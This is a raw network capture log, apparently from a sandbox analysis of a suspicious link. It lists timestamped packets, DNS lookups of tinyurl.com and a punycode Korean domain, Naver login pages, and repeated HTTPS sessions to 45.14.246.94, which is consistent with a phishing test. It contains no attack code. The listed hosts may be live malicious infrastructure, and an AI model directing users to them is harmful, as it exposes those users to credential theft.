Jan 14, 2025 08:13:11.410914898 CET	443	60515	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:11.411684990 CET	60515	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:11.411772966 CET	443	60515	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:11.411849976 CET	60515	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:11.459336996 CET	443	60515	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:11.817879915 CET	60471	443	192.168.2.4	104.17.112.233
Jan 14, 2025 08:13:11.817956924 CET	443	60471	104.17.112.233	192.168.2.4
Jan 14, 2025 08:13:15.166235924 CET	443	60515	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:15.166322947 CET	443	60515	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:15.166538000 CET	60515	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:15.167402029 CET	60515	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:15.167419910 CET	443	60515	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:15.548788071 CET	60516	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:15.548820972 CET	443	60516	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:15.548918009 CET	60516	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:15.549218893 CET	60516	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:15.549240112 CET	443	60516	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:16.232745886 CET	443	60516	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:16.233102083 CET	60516	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:16.233115911 CET	443	60516	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:16.234755039 CET	443	60516	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:16.234817982 CET	60516	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:16.235163927 CET	60516	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:16.235250950 CET	443	60516	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:16.235333920 CET	60516	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:16.235342979 CET	443	60516	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:16.283242941 CET	60516	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:19.976821899 CET	60517	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:19.976932049 CET	443	60517	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:19.977176905 CET	60517	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:19.977360010 CET	60517	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:19.977380991 CET	443	60517	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:20.671988964 CET	443	60517	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:20.672522068 CET	60517	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:20.672591925 CET	443	60517	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:20.674086094 CET	443	60517	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:20.674444914 CET	60517	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:20.674571991 CET	60517	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:20.674587011 CET	443	60517	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:20.674643040 CET	443	60517	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:20.720633984 CET	60517	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:23.234741926 CET	443	60516	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:23.234932899 CET	443	60516	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:23.235017061 CET	60516	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:23.236358881 CET	60516	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:23.236377954 CET	443	60516	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:27.438011885 CET	443	60517	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:27.438118935 CET	443	60517	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:27.438242912 CET	60517	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:27.450906992 CET	60517	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:27.450954914 CET	443	60517	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:27.558728933 CET	60518	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:27.558765888 CET	443	60518	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:27.558826923 CET	60518	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:27.559022903 CET	60518	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:27.559031010 CET	443	60518	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:28.254688025 CET	443	60518	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:28.254925966 CET	60518	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:28.254941940 CET	443	60518	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:28.255438089 CET	443	60518	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:28.255770922 CET	60518	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:28.255856991 CET	443	60518	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:28.255939960 CET	60518	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:28.303338051 CET	443	60518	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:33.071955919 CET	443	60518	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:33.072151899 CET	443	60518	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:33.073188066 CET	60518	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:33.073441982 CET	60518	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:33.073457956 CET	443	60518	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:35.225619078 CET	60519	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:35.225727081 CET	443	60519	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:35.225822926 CET	60519	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:35.226033926 CET	60519	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:35.226056099 CET	443	60519	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:35.923310041 CET	443	60519	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:35.923835039 CET	60519	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:35.923903942 CET	443	60519	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:35.924724102 CET	443	60519	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:35.925065994 CET	60519	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:35.925134897 CET	443	60519	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:35.925204039 CET	60519	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:35.967345953 CET	443	60519	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:40.523976088 CET	443	60519	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:40.524183989 CET	443	60519	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:40.524255037 CET	60519	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:40.524792910 CET	60519	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:40.524813890 CET	443	60519	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:40.532442093 CET	60520	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:40.532516956 CET	443	60520	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:40.532689095 CET	60520	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:40.532860994 CET	60520	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:40.532876015 CET	443	60520	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:41.237270117 CET	443	60520	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:41.237615108 CET	60520	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:41.237637043 CET	443	60520	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:41.238106012 CET	443	60520	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:41.238743067 CET	60520	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:41.238811970 CET	443	60520	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:41.238871098 CET	60520	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:41.279378891 CET	443	60520	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:49.916836977 CET	443	60520	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:49.916929007 CET	443	60520	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:49.917009115 CET	60520	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:49.917045116 CET	443	60520	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:49.970146894 CET	60520	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:50.032999992 CET	443	60520	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:50.033013105 CET	443	60520	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:50.033052921 CET	443	60520	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:50.033078909 CET	60520	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:50.033094883 CET	443	60520	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:50.033104897 CET	443	60520	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:50.033117056 CET	60520	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:50.033142090 CET	60520	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:50.035531044 CET	443	60520	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:50.035578966 CET	443	60520	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:50.035598040 CET	60520	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:50.035619974 CET	60520	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:50.035641909 CET	443	60520	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:50.035909891 CET	60520	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:50.148859024 CET	443	60520	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:50.148943901 CET	60520	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:50.149044037 CET	443	60520	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:50.149158001 CET	60520	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:50.149173021 CET	443	60520	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:50.149280071 CET	60520	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:50.149295092 CET	443	60520	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:50.149348021 CET	60520	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:50.955272913 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:50.955329895 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:52.811213970 CET	60589	443	192.168.2.4	216.58.206.36
Jan 14, 2025 08:13:52.811305046 CET	443	60589	216.58.206.36	192.168.2.4
Jan 14, 2025 08:13:52.811398983 CET	60589	443	192.168.2.4	216.58.206.36
Jan 14, 2025 08:13:52.811589956 CET	60589	443	192.168.2.4	216.58.206.36
Jan 14, 2025 08:13:52.811609030 CET	443	60589	216.58.206.36	192.168.2.4
Jan 14, 2025 08:13:53.461277008 CET	443	60589	216.58.206.36	192.168.2.4
Jan 14, 2025 08:13:53.461728096 CET	60589	443	192.168.2.4	216.58.206.36
Jan 14, 2025 08:13:53.461791039 CET	443	60589	216.58.206.36	192.168.2.4
Jan 14, 2025 08:13:53.462935925 CET	443	60589	216.58.206.36	192.168.2.4
Jan 14, 2025 08:13:53.463285923 CET	60589	443	192.168.2.4	216.58.206.36
Jan 14, 2025 08:13:53.463495970 CET	443	60589	216.58.206.36	192.168.2.4
Jan 14, 2025 08:13:53.517214060 CET	60589	443	192.168.2.4	216.58.206.36
Jan 14, 2025 08:13:54.626672029 CET	49724	80	192.168.2.4	199.232.210.172
Jan 14, 2025 08:13:54.631733894 CET	80	49724	199.232.210.172	192.168.2.4
Jan 14, 2025 08:13:54.631861925 CET	49724	80	192.168.2.4	199.232.210.172
Jan 14, 2025 08:14:03.370543957 CET	443	60589	216.58.206.36	192.168.2.4
Jan 14, 2025 08:14:03.370697975 CET	443	60589	216.58.206.36	192.168.2.4
Jan 14, 2025 08:14:03.370769024 CET	60589	443	192.168.2.4	216.58.206.36
Jan 14, 2025 08:14:03.816859961 CET	60589	443	192.168.2.4	216.58.206.36
Jan 14, 2025 08:14:03.816924095 CET	443	60589	216.58.206.36	192.168.2.4
Jan 14, 2025 08:14:04.866344929 CET	60669	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:14:04.866370916 CET	443	60669	45.14.246.94	192.168.2.4
Jan 14, 2025 08:14:04.866432905 CET	60669	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:14:04.866691113 CET	60669	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:14:04.866703033 CET	443	60669	45.14.246.94	192.168.2.4
Jan 14, 2025 08:14:05.567070961 CET	443	60669	45.14.246.94	192.168.2.4
Jan 14, 2025 08:14:05.567336082 CET	60669	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:14:05.567343950 CET	443	60669	45.14.246.94	192.168.2.4
Jan 14, 2025 08:14:05.567796946 CET	443	60669	45.14.246.94	192.168.2.4
Jan 14, 2025 08:14:05.568542957 CET	60669	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:14:05.568618059 CET	443	60669	45.14.246.94	192.168.2.4
Jan 14, 2025 08:14:05.568684101 CET	60669	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:14:05.615333080 CET	443	60669	45.14.246.94	192.168.2.4
Jan 14, 2025 08:14:05.943569899 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:14:05.943660975 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:14:05.943725109 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:14:05.943839073 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:14:05.943861008 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:14:08.970050097 CET	443	60669	45.14.246.94	192.168.2.4
Jan 14, 2025 08:14:08.970124006 CET	443	60669	45.14.246.94	192.168.2.4
Jan 14, 2025 08:14:08.970328093 CET	60669	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:14:08.970343113 CET	443	60669	45.14.246.94	192.168.2.4
Jan 14, 2025 08:14:09.018069029 CET	60669	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:14:09.091042995 CET	443	60669	45.14.246.94	192.168.2.4
Jan 14, 2025 08:14:09.091058969 CET	443	60669	45.14.246.94	192.168.2.4
Jan 14, 2025 08:14:09.091106892 CET	443	60669	45.14.246.94	192.168.2.4
Jan 14, 2025 08:14:09.091378927 CET	60669	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:14:09.091403008 CET	443	60669	45.14.246.94	192.168.2.4
Jan 14, 2025 08:14:09.091545105 CET	60669	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:14:09.092855930 CET	443	60669	45.14.246.94	192.168.2.4
Jan 14, 2025 08:14:09.092876911 CET	443	60669	45.14.246.94	192.168.2.4
Jan 14, 2025 08:14:09.092921972 CET	60669	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:14:09.092928886 CET	443	60669	45.14.246.94	192.168.2.4
Jan 14, 2025 08:14:09.092957020 CET	60669	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:14:09.092972040 CET	60669	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:14:09.204967022 CET	443	60669	45.14.246.94	192.168.2.4
Jan 14, 2025 08:14:09.205065012 CET	60669	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:14:09.205086946 CET	443	60669	45.14.246.94	192.168.2.4
Jan 14, 2025 08:14:09.205105066 CET	443	60669	45.14.246.94	192.168.2.4
Jan 14, 2025 08:14:09.205137014 CET	60669	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:14:09.205163002 CET	60669	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:14:09.205714941 CET	60669	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:14:09.205724955 CET	443	60669	45.14.246.94	192.168.2.4
Jan 14, 2025 08:14:09.212479115 CET	60697	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:14:09.212568998 CET	443	60697	45.14.246.94	192.168.2.4
Jan 14, 2025 08:14:09.212645054 CET	60697	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:14:09.212827921 CET	60697	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:14:09.212862968 CET	443	60697	45.14.246.94	192.168.2.4
Jan 14, 2025 08:14:09.892368078 CET	443	60697	45.14.246.94	192.168.2.4
Jan 14, 2025 08:14:09.892760992 CET	60697	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:14:09.892824888 CET	443	60697	45.14.246.94	192.168.2.4
Jan 14, 2025 08:14:09.893332005 CET	443	60697	45.14.246.94	192.168.2.4
Jan 14, 2025 08:14:09.893767118 CET	60697	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:14:09.893857002 CET	443	60697	45.14.246.94	192.168.2.4
Jan 14, 2025 08:14:09.893894911 CET	60697	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:14:09.935331106 CET	443	60697	45.14.246.94	192.168.2.4
Jan 14, 2025 08:14:09.939146042 CET	60697	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:14:13.056683064 CET	443	60697	45.14.246.94	192.168.2.4
Jan 14, 2025 08:14:13.056718111 CET	443	60697	45.14.246.94	192.168.2.4
Jan 14, 2025 08:14:13.056729078 CET	443	60697	45.14.246.94	192.168.2.4
Jan 14, 2025 08:14:13.056783915 CET	60697	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:14:13.056804895 CET	443	60697	45.14.246.94	192.168.2.4
Jan 14, 2025 08:14:13.110935926 CET	60697	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:14:13.171293020 CET	443	60697	45.14.246.94	192.168.2.4
Jan 14, 2025 08:14:13.171308041 CET	443	60697	45.14.246.94	192.168.2.4
Jan 14, 2025 08:14:13.171339989 CET	443	60697	45.14.246.94	192.168.2.4
Jan 14, 2025 08:14:13.171351910 CET	443	60697	45.14.246.94	192.168.2.4
Jan 14, 2025 08:14:13.171364069 CET	60697	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:14:13.171374083 CET	443	60697	45.14.246.94	192.168.2.4
Jan 14, 2025 08:14:13.171384096 CET	443	60697	45.14.246.94	192.168.2.4
Jan 14, 2025 08:14:13.171395063 CET	60697	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:14:13.171406031 CET	60697	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:14:13.171427965 CET	60697	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:14:13.173592091 CET	443	60697	45.14.246.94	192.168.2.4
Jan 14, 2025 08:14:13.173618078 CET	443	60697	45.14.246.94	192.168.2.4
Jan 14, 2025 08:14:13.173680067 CET	60697	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:14:13.173691988 CET	443	60697	45.14.246.94	192.168.2.4
Jan 14, 2025 08:14:13.173711061 CET	60697	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:14:13.173738956 CET	60697	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:14:13.284882069 CET	443	60697	45.14.246.94	192.168.2.4
Jan 14, 2025 08:14:13.284960032 CET	60697	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:14:13.284971952 CET	443	60697	45.14.246.94	192.168.2.4
Jan 14, 2025 08:14:13.285017967 CET	60697	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:14:13.285021067 CET	443	60697	45.14.246.94	192.168.2.4
Jan 14, 2025 08:14:13.285068989 CET	60697	443	192.168.2.4	45.14.246.94

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 08:12:49.041841984 CET	53	64925	1.1.1.1	192.168.2.4
Jan 14, 2025 08:12:49.573859930 CET	53	58870	1.1.1.1	192.168.2.4
Jan 14, 2025 08:12:50.572113991 CET	53	63037	1.1.1.1	192.168.2.4
Jan 14, 2025 08:12:52.738569975 CET	52032	53	192.168.2.4	1.1.1.1
Jan 14, 2025 08:12:52.738898993 CET	56319	53	192.168.2.4	1.1.1.1
Jan 14, 2025 08:12:52.745412111 CET	53	52032	1.1.1.1	192.168.2.4
Jan 14, 2025 08:12:52.745625019 CET	53	56319	1.1.1.1	192.168.2.4
Jan 14, 2025 08:12:54.620450020 CET	53	49540	1.1.1.1	192.168.2.4
Jan 14, 2025 08:12:54.942661047 CET	62038	53	192.168.2.4	1.1.1.1
Jan 14, 2025 08:12:54.943012953 CET	64895	53	192.168.2.4	1.1.1.1
Jan 14, 2025 08:12:54.951494932 CET	53	62038	1.1.1.1	192.168.2.4
Jan 14, 2025 08:12:54.951919079 CET	53	64895	1.1.1.1	192.168.2.4
Jan 14, 2025 08:12:56.176803112 CET	55632	53	192.168.2.4	1.1.1.1
Jan 14, 2025 08:12:56.176803112 CET	60926	53	192.168.2.4	1.1.1.1
Jan 14, 2025 08:12:56.806361914 CET	53	60926	1.1.1.1	192.168.2.4
Jan 14, 2025 08:12:57.083081961 CET	53	55632	1.1.1.1	192.168.2.4
Jan 14, 2025 08:13:00.382889032 CET	50632	53	192.168.2.4	1.1.1.1
Jan 14, 2025 08:13:00.383071899 CET	53634	53	192.168.2.4	1.1.1.1
Jan 14, 2025 08:13:00.419131041 CET	62880	53	192.168.2.4	1.1.1.1
Jan 14, 2025 08:13:00.419258118 CET	63794	53	192.168.2.4	1.1.1.1
Jan 14, 2025 08:13:00.426285982 CET	53	63794	1.1.1.1	192.168.2.4
Jan 14, 2025 08:13:00.661103964 CET	53	62880	1.1.1.1	192.168.2.4
Jan 14, 2025 08:13:02.574855089 CET	52228	53	192.168.2.4	1.1.1.1
Jan 14, 2025 08:13:02.574987888 CET	63737	53	192.168.2.4	1.1.1.1
Jan 14, 2025 08:13:02.864295959 CET	53331	53	192.168.2.4	1.1.1.1
Jan 14, 2025 08:13:02.864475965 CET	51489	53	192.168.2.4	1.1.1.1
Jan 14, 2025 08:13:03.056588888 CET	52864	53	192.168.2.4	1.1.1.1
Jan 14, 2025 08:13:03.057176113 CET	57243	53	192.168.2.4	1.1.1.1
Jan 14, 2025 08:13:03.065356016 CET	53	57243	1.1.1.1	192.168.2.4
Jan 14, 2025 08:13:03.104445934 CET	53	53331	1.1.1.1	192.168.2.4
Jan 14, 2025 08:13:03.107160091 CET	53	51489	1.1.1.1	192.168.2.4
Jan 14, 2025 08:13:03.190133095 CET	53	51936	1.1.1.1	192.168.2.4
Jan 14, 2025 08:13:04.181015015 CET	57441	53	192.168.2.4	1.1.1.1
Jan 14, 2025 08:13:04.181190968 CET	55890	53	192.168.2.4	1.1.1.1
Jan 14, 2025 08:13:04.188016891 CET	53	55890	1.1.1.1	192.168.2.4
Jan 14, 2025 08:13:05.650882959 CET	58326	53	192.168.2.4	1.1.1.1
Jan 14, 2025 08:13:05.651009083 CET	50625	53	192.168.2.4	1.1.1.1
Jan 14, 2025 08:13:06.196573019 CET	138	138	192.168.2.4	192.168.2.255
Jan 14, 2025 08:13:15.172770977 CET	62314	53	192.168.2.4	1.1.1.1
Jan 14, 2025 08:13:15.172933102 CET	61045	53	192.168.2.4	1.1.1.1
Jan 14, 2025 08:13:15.487256050 CET	53	62314	1.1.1.1	192.168.2.4
Jan 14, 2025 08:13:15.785657883 CET	53	61045	1.1.1.1	192.168.2.4
Jan 14, 2025 08:13:48.794224024 CET	53	52671	1.1.1.1	192.168.2.4
Jan 14, 2025 08:13:52.802182913 CET	55621	53	192.168.2.4	1.1.1.1
Jan 14, 2025 08:13:52.802316904 CET	65044	53	192.168.2.4	1.1.1.1
Jan 14, 2025 08:13:52.808805943 CET	53	55621	1.1.1.1	192.168.2.4
Jan 14, 2025 08:13:52.810497999 CET	53	65044	1.1.1.1	192.168.2.4
Jan 14, 2025 08:14:09.325160027 CET	53	60669	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jan 14, 2025 08:13:00.875328064 CET	192.168.2.4	1.1.1.1	c26a	(Port unreachable)	Destination Unreachable
Jan 14, 2025 08:13:02.842283010 CET	192.168.2.4	1.1.1.1	c26a	(Port unreachable)	Destination Unreachable
Jan 14, 2025 08:13:15.785810947 CET	192.168.2.4	1.1.1.1	c241	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 14, 2025 08:12:52.738569975 CET	192.168.2.4	1.1.1.1	0xfd6b	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:12:52.738898993 CET	192.168.2.4	1.1.1.1	0x7291	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 14, 2025 08:12:54.942661047 CET	192.168.2.4	1.1.1.1	0x4282	Standard query (0)	tinyurl.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:12:54.943012953 CET	192.168.2.4	1.1.1.1	0x3373	Standard query (0)	tinyurl.com	65	IN (0x0001)	false
Jan 14, 2025 08:12:56.176803112 CET	192.168.2.4	1.1.1.1	0x4a67	Standard query (0)	xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:12:56.176803112 CET	192.168.2.4	1.1.1.1	0xb30	Standard query (0)	xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e	65	IN (0x0001)	false
Jan 14, 2025 08:13:00.382889032 CET	192.168.2.4	1.1.1.1	0xf37b	Standard query (0)	nid.naver.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:13:00.383071899 CET	192.168.2.4	1.1.1.1	0x2930	Standard query (0)	nid.naver.com	65	IN (0x0001)	false
Jan 14, 2025 08:13:00.419131041 CET	192.168.2.4	1.1.1.1	0x6b3e	Standard query (0)	static.nid.naver.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:13:00.419258118 CET	192.168.2.4	1.1.1.1	0xecbb	Standard query (0)	static.nid.naver.com	65	IN (0x0001)	false
Jan 14, 2025 08:13:02.574855089 CET	192.168.2.4	1.1.1.1	0x6202	Standard query (0)	nid.naver.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:13:02.574987888 CET	192.168.2.4	1.1.1.1	0xebe4	Standard query (0)	nid.naver.com	65	IN (0x0001)	false
Jan 14, 2025 08:13:02.864295959 CET	192.168.2.4	1.1.1.1	0x3a9e	Standard query (0)	static.nid.naver.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:13:02.864475965 CET	192.168.2.4	1.1.1.1	0x326	Standard query (0)	static.nid.naver.com	65	IN (0x0001)	false
Jan 14, 2025 08:13:03.056588888 CET	192.168.2.4	1.1.1.1	0x6499	Standard query (0)	ssl.pstatic.net	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:13:03.057176113 CET	192.168.2.4	1.1.1.1	0xba4d	Standard query (0)	ssl.pstatic.net	65	IN (0x0001)	false
Jan 14, 2025 08:13:04.181015015 CET	192.168.2.4	1.1.1.1	0x43c4	Standard query (0)	ssl.pstatic.net	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:13:04.181190968 CET	192.168.2.4	1.1.1.1	0x5228	Standard query (0)	ssl.pstatic.net	65	IN (0x0001)	false
Jan 14, 2025 08:13:05.650882959 CET	192.168.2.4	1.1.1.1	0xbf61	Standard query (0)	lcs.naver.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:13:05.651009083 CET	192.168.2.4	1.1.1.1	0xd657	Standard query (0)	lcs.naver.com	65	IN (0x0001)	false
Jan 14, 2025 08:13:15.172770977 CET	192.168.2.4	1.1.1.1	0x26a2	Standard query (0)	xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:13:15.172933102 CET	192.168.2.4	1.1.1.1	0xf03d	Standard query (0)	xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e	65	IN (0x0001)	false
Jan 14, 2025 08:13:52.802182913 CET	192.168.2.4	1.1.1.1	0xab7a	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:13:52.802316904 CET	192.168.2.4	1.1.1.1	0x22d1	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 14, 2025 08:12:52.745412111 CET	1.1.1.1	192.168.2.4	0xfd6b	No error (0)	www.google.com		142.250.185.132	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:12:52.745625019 CET	1.1.1.1	192.168.2.4	0x7291	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 14, 2025 08:12:54.951494932 CET	1.1.1.1	192.168.2.4	0x4282	No error (0)	tinyurl.com		104.17.112.233	A (IP address)	IN (0x0001)	false
